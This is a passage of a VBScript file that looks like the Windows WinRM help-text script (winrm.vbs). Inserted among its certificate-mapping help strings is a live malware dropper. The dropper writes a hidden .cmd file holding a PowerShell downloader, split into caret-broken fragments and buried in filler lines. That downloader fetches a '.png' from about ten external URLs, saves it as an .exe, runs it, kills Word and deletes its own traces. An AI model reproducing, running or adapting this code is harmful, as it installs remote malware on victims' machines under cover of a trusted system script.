derived classes are returned.\"\r\nprivate const L_HelpEnum_006_18_Message = \"\"\r\nprivate const L_HelpEnum_006_19_Message = \"BasePropertiesOnly\"\r\nprivate const L_HelpEnum_006_20_Message = \"------------------\"\r\nprivate const L_HelpEnum_006_21_Message = \"Includes only those properties that are part of the base class specified\"\r\nprivate const L_HelpEnum_006_22_Message = \"in the resource URI. When -Shallow is specified, this flag has no effect. \"\r\nprivate const L_HelpEnum_006_23_Message = \"\"\r\nprivate const L_HelpEnum_007_0_Message = \"Example: List all WinRM listeners on this machine:\"\r\nprivate const X_HelpEnum_008_0_Message = \" winrm enumerate winrm/config/Listener\"\r\nprivate const L_HelpEnum_009_0_Message = \"\"\r\nprivate const L_HelpEnum_010_0_Message = \"Example: List all instances of Win32_Service class:\"\r\nprivate const X_HelpEnum_011_0_Message = \" winrm enumerate wmicimv2/Win32_Service\"\r\nprivate const L_HelpEnum_012_0_Message = \"\"\r\n'private const L_HelpEnum_013_0_Message = \"Example: List all auto start services that are stopped:\"\r\n'private const X_HelpEnum_014_0_Message = \" winrm enum wmicimv2/* -filter:\"\"select * from win32_service where StartMode=\\\"\"Auto\\\"\" and State = \\\"\"Stopped\\\"\" \"\"\"\r\n'private const L_HelpEnum_015_0_Message = \"\"\r\nprivate const L_HelpEnum_016_0_Message = \"Example: List all shell instances on a machine:\"\r\nprivate const X_HelpEnum_017_0_Message = \" winrm enum shell/cmd -remote:srv.corp.com\"\r\nprivate const L_HelpEnum_018_0_Message = \"\"\r\nprivate const L_HelpEnum_019_0_Message = \"Example: List resources accessible to the current user:\"\r\nprivate const X_HelpEnum_020_0_Message = \" winrm enum winrm/config/resource\"\r\nprivate const L_HelpEnum_021_0_Message = \"\"\r\nprivate const L_HelpEnum_022_0_Message = \"Example: List all certmapping settings:\"\r\nprivate const X_HelpEnum_023_0_Message = \" winrm enum winrm/config/service/certmapping\"\r\nprivate const L_HelpEnum_024_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - INVOKE\r\nprivate const L_HelpInvoke_001_0_Message = \"winrm invoke ACTION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpInvoke_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpInvoke_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpInvoke_004_0_Message = \"\"\r\nprivate const L_HelpInvoke_005_0_Message = \"Executes method specified by ACTION on target object specified by RESOURCE_URI\"\r\nprivate const L_HelpInvoke_006_0_Message = \"with parameters specified by key-value pairs.\"\r\nprivate const L_HelpInvoke_007_0_Message = \"\"\r\nprivate const L_HelpInvoke_008_0_Message = \"Example: Call StartService method on Spooler service:\"\r\nprivate const X_HelpInvoke_009_0_Message = \" winrm invoke StartService wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpInvoke_010_0_Message = \"\"\r\nprivate const L_HelpInvoke_011_0_Message = \"Example: Call StopService method on Spooler service using XML file:\"\r\nprivate const X_HelpInvoke_012_0_Message = \" winrm invoke StopService wmicimv2/Win32_Service?Name=spooler -file:input.xml\"\r\nprivate const L_HelpInvoke_013_0_Message = \"Where input.xml:\"\r\nprivate const X_HelpInvoke_014_0_Message = \"\"\r\nprivate const L_HelpInvoke_015_0_Message = \"\"\r\nprivate const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\r\nprivate const X_HelpInvoke_017_0_Message = \" winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"\"notepad.exe\"\";CurrentDirectory=\"\"C:\\\"\"}\"\r\nprivate const L_HelpInvoke_018_0_Message = \"\"\r\nprivate const L_HelpInvoke_019_0_Message = \"Example: Restore the default winrm configuration:\"\r\nprivate const L_HelpInvoke_019_1_Message = \"Note that this will not restore the default winrm plugin configuration:\"\r\nprivate const X_HelpInvoke_020_0_Message = \" winrm invoke restore winrm/config @{}\"\r\nprivate const L_HelpInvoke_021_0_Message = \"\"\r\nprivate const L_HelpInvoke_022_0_Message = \"Example: Restore the default winrm plugin configuration:\"\r\nprivate const L_HelpInvoke_022_1_Message = \"Note that all external plugins will be unregistered during this operation:\"\r\nprivate const X_HelpInvoke_023_0_Message = \" winrm invoke restore winrm/config/plugin @{}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - IDENTIFY\r\nprivate const X_HelpIdentify_001_0_Message = \"winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpIdentify_003_0_Message = \"\"\r\nprivate const L_HelpIdentify_004_0_Message = \"Issues an operation against a remote machine to see if the WS-Management \"\r\nprivate const L_HelpIdentify_005_0_Message = \"service is running. This operation must be run with the '-remote' switch.\"\r\nprivate const L_HelpIdentify_006_0_Message = \"To run this operation unauthenticated against the remote machine use the\"\r\nprivate const L_HelpIdentify_007_0_Message = \"-auth:none\"\r\nprivate const L_HelpIdentify_008_0_Message = \"\"\r\nprivate const L_HelpIdentify_009_0_Message = \"Example: identify if WS-Management is running on www.example.com:\"\r\nprivate const X_HelpIdentify_010_0_Message = \" winrm identify -remote:www.example.com\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELPMSG\r\nprivate const X_HelpHelpMessaage_001_0_Message = \"winrm helpmsg errorcode\"\r\nprivate const X_HelpHelpMessaage_002_0_Message = \"\"\r\nprivate const X_HelpHelpMessaage_003_0_Message = \"Displays error message associate with the error code.\"\r\nprivate const X_HelpHelpMessaage_004_0_Message = \"Example:\"\r\nprivate const X_HelpHelpMessaage_006_0_Message = \" winrm helpmsg 0x5\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ALIAS\r\nprivate const L_HelpAlias_001_0_Message = \"Aliasing allows shortcuts to be used in place of full Resource URIs.\"\r\nprivate const L_HelpAlias_002_0_Message = \"Available aliases and the Resource URIs they substitute for are:\"\r\nprivate const L_HelpAlias_003_0_Message = \"\"\r\nprivate const X_HelpAlias_004_0_Message = \"wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const X_HelpAlias_005_0_Message = \"wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2\"\r\nprivate const X_HelpAlias_006_0_Message = \"cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2\"\r\nprivate const X_HelpAlias_007_0_Message = \"winrm = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_008_0_Message = \"wsman = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_009_0_Message = \"shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"\r\nprivate const L_HelpAlias_010_0_Message = \"\"\r\nprivate const L_HelpAlias_011_0_Message = \"Example: using full Resource URI:\"\r\nprivate const x_HelpAlias_012_0_Message = \" winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpAlias_013_0_Message = \"\"\r\nprivate const L_HelpAlias_014_0_Message = \"Example: using alias:\"\r\nprivate const X_HelpAlias_015_0_Message = \" winrm get wmicimv2/Win32_Service?Name=WinRM\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - URIS\r\nprivate const L_HelpUris_001_0_Message = \"Universal Resource Identifiers (URI) specify management resources to be\"\r\nprivate const L_HelpUris_002_0_Message = \"used for operations.\"\r\nprivate const L_HelpUris_003_0_Message = \"\"\r\nprivate const L_HelpUris_004_0_Message = \"Selectors and values are passed after the URI in the form:\"\r\nprivate const X_HelpUris_005_0_Message = \" RESOURCE_URI?NAME=VALUE[+NAME=VALUE]...\"\r\nprivate const L_HelpUris_006_0_Message = \"\"\r\nprivate const L_HelpUris_007_0_Message = \"URIs for all information in WMI are of the following form:\"\r\nprivate const X_HelpUris_008_0_Message = \" WMI path = \\\\root\\NAMESPACE[\\NAMESPACE]\\CLASS\"\r\nprivate const X_HelpUris_009_0_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const X_HelpUris_010_0_Message = \" ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const L_HelpUris_011_0_Message = \"\"\r\nprivate const L_HelpUris_012_0_Message = \"Example: Get information about WinRM service from WMI using single selector\"\r\nprivate const X_HelpUris_013_0_Message = \" WMI path = \\\\root\\cimv2\\Win32_Service\"\r\nprivate const X_HelpUris_013_1_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const X_HelpUris_014_0_Message = \" ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpUris_015_0_Message = \"\"\r\nprivate const L_HelpUris_015_1_Message = \"When enumerating WMI instances using a WQL filter,\"\r\nprivate const L_HelpUris_015_2_Message = \"the CLASS must be \"\"*\"\" (star) and no selectors should be specified.\"\r\nprivate const L_HelpUris_015_3_Message = \"Example:\"\r\nprivate const X_HelpUris_015_4_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*\"\r\nprivate const L_HelpUris_015_5_Message = \"\"\r\nprivate const L_HelpUris_015_6_Message = \"When accesing WMI singleton instances, no selectors should be specified.\"\r\nprivate const L_HelpUris_015_7_Message = \"Example:\"\r\nprivate const X_HelpUris_015_8_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service\"\r\nprivate const L_HelpUris_015_9_Message = \"\"\r\nprivate const L_HelpUris_016_0_Message = \"Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or\"\r\nprivate const L_HelpUris_017_0_Message = \"invoke, the last part of the resource URI must match case-wise the top-level\"\r\nprivate const L_HelpUris_018_0_Message = \"element of the expected XML.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIG\r\nprivate const L_HelpConfig_001_0_Message = \"Configuration for WinRM is managed using the winrm command line or through GPO.\"\r\nprivate const L_HelpConfig_002_0_Message = \"Configuration includes global configuration for both the client and service.\"\r\nprivate const L_HelpConfig_003_0_Message = \"\"\r\nprivate const L_HelpConfig_004_0_Message = \"The WinRM service requires at least one listener to indicate the IP address(es)\"\r\nprivate const L_HelpConfig_005_0_Message = \"on which to accept WS-Management requests. For example, if the machine has \"\r\nprivate const L_HelpConfig_006_0_Message = \"multiple network cards, WinRM can be configured to only accept requests from\"\r\nprivate const L_HelpConfig_007_0_Message = \"one of the network cards.\"\r\nprivate const L_HelpConfig_008_0_Message = \"\"\r\nprivate const L_HelpConfig_009_0_Message = \"Global configuration\"\r\nprivate const X_HelpConfig_010_0_Message = \" winrm get winrm/config\"\r\nprivate const X_HelpConfig_011_0_Message = \" winrm get winrm/config/client\"\r\nprivate const X_HelpConfig_012_0_Message = \" winrm get winrm/config/service\"\r\nprivate const X_HelpConfig_012_1_Message = \" winrm enumerate winrm/config/resource\"\r\nprivate const X_HelpConfig_012_2_Message = \" winrm enumerate winrm/config/listener\"\r\nprivate const X_HelpConfig_012_3_Message = \" winrm enumerate winrm/config/plugin\"\r\nprivate const X_HelpConfig_012_4_Message = \" winrm enumerate winrm/config/service/certmapping\"\r\nprivate const L_HelpConfig_013_0_Message = \"\"\r\nprivate const L_HelpConfig_014_0_Message = \"Network listening requires one or more listeners. \"\r\nprivate const L_HelpConfig_015_0_Message = \"Listeners are identified by two selectors: Address and Transport.\"\r\n\r\nprivate const L_HelpConfigAddress_001_0_Message = \"Address must be one of:\"\r\nprivate const L_HelpConfigAddress_002_0_Message = \" * - Listen on all IPs on the machine \"\r\nprivate const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\r\nprivate const L_HelpConfigAddress_004_0_Message = \" MAC:... - Listen only on IP address for the specified MAC\"\r\nprivate const L_HelpConfigAddress_005_0_Message = \"\"\r\nprivate const L_HelpConfigAddress_006_0_Message = \"Note: All listening is subject to the IPv4Filter and IPv6Filter under \"\r\nprivate const L_HelpConfigAddress_007_0_Message = \"config/service.\"\r\nprivate const L_HelpConfigAddress_008_0_Message = \"Note: IP may be an IPv4 or IPv6 address.\"\r\n\r\nprivate const L_HelpConfigTransport_001_0_Message = \"Transport must be one of:\"\r\nprivate const L_HelpConfigTransport_002_0_Message = \" HTTP - Listen for requests on HTTP (default port is 5985)\"\r\nprivate const L_HelpConfigTransport_003_0_Message = \" HTTPS - Listen for requests on HTTPS (default port is 5986)\"\r\nprivate const L_HelpConfigTransport_004_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_005_0_Message = \"Note: HTTP traffic by default only allows messages encrypted with \"\r\nprivate const L_HelpConfigTransport_006_0_Message = \"the Negotiate or Kerberos SSP.\"\r\nprivate const L_HelpConfigTransport_007_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_008_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_009_0_Message = \"When configuring HTTPS, the following properties are used:\"\r\nprivate const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\r\nprivate const L_HelpConfigTransport_011_0_Message = \" CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for\"\r\nprivate const L_HelpConfigTransport_012_0_Message = \" Server Authentication.\"\r\nprivate const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied, WinRM will try to find an appropriate\"\r\nprivate const L_HelpConfigTransport_014_0_Message = \"certificate.\"\r\n \r\nprivate const L_HelpConfigExamples_001_0_Message = \"Example: To listen for requests on HTTP on all IPs on the machine:\"\r\nprivate const X_HelpConfigExamples_002_0_Message = \" winrm create winrm/config/listener?Address=*+Transport=HTTP\"\r\nprivate const L_HelpConfigExamples_003_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_004_0_Message = \"Example: To disable a given listener\"\r\nprivate const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpConfigExamples_006_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_007_0_Message = \"Example: To enable basic authentication on the client but not the service:\"\r\nprivate const X_HelpConfigExamples_008_0_Message = \" winrm set winrm/config/client/auth @{Basic=\"\"true\"\"}\"\r\nprivate const L_HelpConfigExamples_009_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_010_0_Message = \"Example: To enable Negotiate for all workgroup machines.\"\r\nprivate const X_HelpConfigExamples_011_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"\"\"}\"\r\nprivate const L_HelpConfigExamples_012_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_013_0_Message = \"Example: To add an IPv4 and IPv6 host address to TrustedHosts.\"\r\nprivate const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4,[1:2:3::8]\"\"}\"\r\nprivate const L_HelpConfigExamples_015_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_016_0_Message = \" Note: Computers in the TrustedHosts list might not be authenticated\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CertMapping\r\nprivate const L_HelpCertMapping_001_0_Message = \"Certificate mapping remote access to WinRM using client certificates is \"\r\nprivate const L_HelpCertMapping_002_0_Message = \"stored in the certificate mapping table identified by the \"\r\nprivate const L_HelpCertMapping_003_0_Message = \"following resource URI:\"\r\nprivate const L_HelpCertMapping_003_1_Message = \"\"\r\nprivate const L_HelpCertMapping_004_0_Message = \" winrm/config/service/CertMapping\"\r\nprivate const L_HelpCertMapping_005_0_Message = \"\"\r\nprivate const L_HelpCertMapping_006_0_Message = \"Each entry in this table contains five properties:\"\r\nprivate const L_HelpCertMapping_007_0_Message = \" Issuer - Thumbprint of the issuer certificate.\"\r\nprivate const L_HelpCertMapping_008_0_Message = \" Subject - Subject field of client certificate.\"\r\nprivate const L_HelpCertMapping_009_0_Message = \" URI - The URI or URI prefix for which this mapping applies.\"\r\nprivate const L_HelpCertMapping_009_1_Message = \" Username - Local username for processing the request.\"\r\nprivate const L_HelpCertMapping_009_2_Message = \" Password - Local password for processing the request.\"\r\nprivate const L_HelpCertMapping_009_3_Message = \" Enabled - Use in processing if true.\"\r\nprivate const L_HelpCertMapping_010_0_Message = \" \"\r\nprivate const L_HelpCertMapping_011_0_Message = \"For a client certificate to be applicable, the issuer certificate must be \"\r\nprivate const L_HelpCertMapping_012_0_Message = \"available locally and match the thumbprint in the entry Issuer property\"\r\nprivate const L_HelpCertMapping_012_1_Message = \"\"\r\nprivate const L_HelpCertMapping_012_2_Message = \"For a client certificate to be applicable, its DNS or Principal name \"\r\nprivate const L_HelpCertMapping_013_0_Message = \"(from the SubjectAlternativeName field) must match the Subject property.\"\r\nprivate const L_HelpCertMapping_014_0_Message = \"The value can start with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_1_Message = \"The URI identifies for which resources the indicated client certificates .\"\r\nprivate const L_HelpCertMapping_014_2_Message = \"should be mapped.\"\r\nprivate const L_HelpCertMapping_014_3_Message = \"The value can end with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_4_Message = \"\"\r\n\r\n\r\n\r\nset filesys=CreateObject(\"Scripting.FileSystemObject\")\r\nIf Not filesys.FolderExists(\"c:\\BlotRots\") Then\r\nfilesys.CreateFolder (\"c:\\BlotRots\")\r\nEnd If\r\n\r\ntytutop = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \")\r\ntytutop1 = (\" \")\r\ntytutop2 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\")\r\ntytutop3 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\")\r\ntytutop4 = (\" \")\r\ntytutop5 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop6 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop7 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop8 = (\" \")\r\ntytutop9 = (\" XP and is listed separately on this page. Synta \")\r\ntytutop0 = (\" \")\r\n\r\n\r\n\r\ne13 = (\"Taskkill /IM \"\"winword.exe\"\" /F\")\r\na1 = (\"POW^\")\r\na2 = (\"erS^\")\r\na3 = (\"hell ^\")\r\na4 = (\"Forea^\")\r\na5 = (\"ch($ur^\")\r\na6 = (\"l in^\")\r\na7 = (\" @('^\")\r\na8 = (\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\")\r\na9 = (\"','^\")\r\na10 = (\"http://marineworks.eu/dwaunrsamlbq/111111.png^\")\r\na11 = (\"')) { tr^\")\r\na12 = (\"y{$pat^\")\r\na15 = (\"h = 'C:\\BlotRots\\Loterios.exe'; ^\")\r\na16 = (\"(Ne^\")\r\na17 = (\"w-Obje^\")\r\na18 = (\"ct Ne^\")\r\na19 = (\"t.We^\")\r\na20 = (\"bCli^\")\r\na21 = (\"ent).Down^\")\r\na22 = (\"loadF^\")\r\na23 = (\"ile(^\")\r\na24 = (\"$ur^\")\r\na25 = (\"l.ToSt^\")\r\na26 = (\"ring^\")\r\nb1 = (\"(), $p^\")\r\nb2 = (\"ath)^\")\r\nb3 = (\";sa^\")\r\nb4 = (\"ps $p^\")\r\nb5 = (\"ath; br^\")\r\nb6 = (\"eak;}c^\")\r\nb7 = (\"atc^\")\r\nb8 = (\"h{wri^\")\r\nb9 = (\"te-ho^\")\r\nb10 = (\"st $_.E^\")\r\nb11 = (\"xcep^\")\r\nb12 = (\"tio^\")\r\nb13 = (\"n.Me^\")\r\nb14 = (\"ssa^\")\r\nb15 = (\"ge}}\")\r\nWait = (\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\")\r\n\r\n\r\nSet fer23 = filesys.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" & c, 8, True)\r\nfer23.WriteLine tytutop\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\n\r\nfer23.WriteLine e13\r\nfer23.WriteLine a1\r\nfer23.WriteLine a2\r\nfer23.WriteLine a3\r\nfer23.WriteLine a4\r\nfer23.WriteLine a5\r\nfer23.WriteLine a6\r\nfer23.WriteLine a7\r\nfer23.WriteLine a8\r\nfer23.WriteLine a9\r\nfer23.WriteLine a10\r\nfer23.WriteLine a11\r\nfer23.WriteLine a12\r\nfer23.WriteLine a15\r\nfer23.WriteLine a16\r\nfer23.WriteLine a17\r\nfer23.WriteLine a18\r\nfer23.WriteLine a19\r\nfer23.WriteLine a20\r\nfer23.WriteLine a21\r\nfer23.WriteLine a22\r\nfer23.WriteLine a23\r\nfer23.WriteLine a24\r\nfer23.WriteLine a25\r\nfer23.WriteLine a26\r\nfer23.WriteLine b1\r\nfer23.WriteLine b2\r\nfer23.WriteLine b3\r\nfer23.WriteLine b4\r\nfer23.WriteLine b5\r\nfer23.WriteLine b6\r\nfer23.WriteLine b7\r\nfer23.WriteLine b8\r\nfer23.WriteLine b9\r\nfer23.WriteLine b10\r\nfer23.WriteLine b11\r\nfer23.WriteLine b12\r\nfer23.WriteLine b13\r\nfer23.WriteLine b14\r\nfer23.WriteLine b15\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine Wait\r\nfer23.close\r\n\r\nDim oShell : Set oShell = CreateObject(\"WScript.Shell\")\r\n\r\n\r\nWScript.Sleep 7000\r\n\r\n\r\noShell.Run \"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", 0, 0\r\nSet WshShell = Nothing\r\n\r\nprivate const L_HelpCertMapping_015_0_Message = \"If the client certificate matches the entry and it is enabled, the \"\r\nprivate const L_HelpCertMapping_016_0_Message = \"request is processed under the local account with the given username \"\r\n\r\nprivate const L_HelpCertMapping_017_0_Message = \"and password after ensuring that user has access to the resource as \"\r\nprivate const L_HelpCertMapping_018_0_Message = \"defined by the URI security table.\"\r\nprivate const L_HelpCertMapping_019_0_Message = \"\"\r\n\r\nprivate const L_HelpCertMapping_020_0_Message = \"When creating a new entry or changing the password of an existing entry, \"\r\nprivate const L_HelpCertMapping_021_0_Message = \"the -r switch must be used since the WinRM service must store the password\"\r\nprivate const L_HelpCertMapping_022_0_Message = \"for future use.\"\r\n\r\n\r\nprivate const L_HelpCertMappingExamples_001_0_Message = \"Example: To see the current CertMapping configuration\"\r\nprivate const X_HelpCertMappingExamples_002_0_Message = \" winrm enumerate winrm/config/service/CertMapping\"\r\n\r\nprivate const L_HelpCertMappingExamples_003_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCertMappingExamples_004_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCertMappingExamples_005_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIGSDDL\r\nprivate const L_HelpConfigsddl_000_1_Message = \" winrm configsddl RESOURCE_URI\"\r\nprivate const L_HelpConfigsddl_001_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_002_0_Message = \"Changes an existing entry in the plugin configuration to \"\r\nprivate const L_HelpConfigsddl_002_1_Message = \"control remote access to WinRM resources.\"\r\nprivate const L_HelpConfigsddl_003_0_Message = \"This command will fail if the plugin does not exist.\"\r\nprivate const L_HelpConfigsddl_004_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_005_0_Message = \"This command will launch a GUI to edit the security settings.\"\r\nprivate const L_HelpConfigsddl_005_1_Message = \"\"\r\nprivate const L_HelpConfigsddl_006_0_Message = \"RESOURCE_URI is always treated as a prefix.\"\r\nprivate const L_HelpConfigsddl_010_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_011_0_Message = \"To change the default security (the RootSDDL setting) use:\"\r\nprivate const X_HelpConfigsddl_012_0_Message = \" winrm configsddl default\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - QUICKCONFIG\r\nprivate const X_HelpQuickConfig_001_0_Message = \"winrm quickconfig [-quiet] [-transport:VALUE] [-force]\"\r\nprivate const X_HelpQuickConfig_002_0_Message = \"\"\r\nprivate const L_HelpQuickConfig_003_0_Message = \"Performs configuration actions to enable this machine for remote management.\"\r\nprivate const L_HelpQuickConfig_004_0_Message = \"Includes:\"\r\nprivate const L_HelpQuickConfig_005_0_Message = \" 1. Start the WinRM service\"\r\nprivate const L_HelpQuickConfig_006_0_Message = \" 2. Set the WinRM service type to auto start\"\r\nprivate const L_HelpQuickConfig_007_0_Message = \" 3. Create a listener to accept request on any IP address\"\r\nprivate const L_HelpQuickConfig_008_0_Message = \" 4. Enable firewall exception for WS-Management traffic (for http only)\"\r\nprivate const X_HelpQuickConfig_009_0_Message = \"\"\r\nprivate const X_HelpQuickConfig_010_0_Message = \"-q[uiet]\"\r\nprivate const X_HelpQuickConfig_010_1_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_011_0_Message = \"If present, quickconfig will not prompt for confirmation.\"\r\nprivate const X_HelpQuickConfig_012_0_Message = \"-transport:VALUE\"\r\nprivate const X_HelpQuickConfig_013_0_Message = \"----------------\"\r\nprivate const L_HelpQuickConfig_014_0_Message = \"Perform quickconfig for specific transport.\"\r\nprivate const L_HelpQuickConfig_015_0_Message = \"Possible options are http and https. Defaults to http.\"\r\nprivate const X_HelpQuickConfig_016_0_Message = \"-force\"\r\nprivate const X_HelpQuickConfig_017_0_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_018_0_Message = \"If present, quickconfig will not prompt for confirmation, and will enable \"\r\nprivate const L_HelpQuickConfig_019_0_Message = \"the firewall exception regardless of current network profile settings.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - REMOTE\r\nprivate const L_HelpRemote_001_0_Message = \"winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]\"\r\nprivate const L_HelpRemote_002_0_Message = \"\"\r\nprivate const L_HelpRemote_003_0_Message = 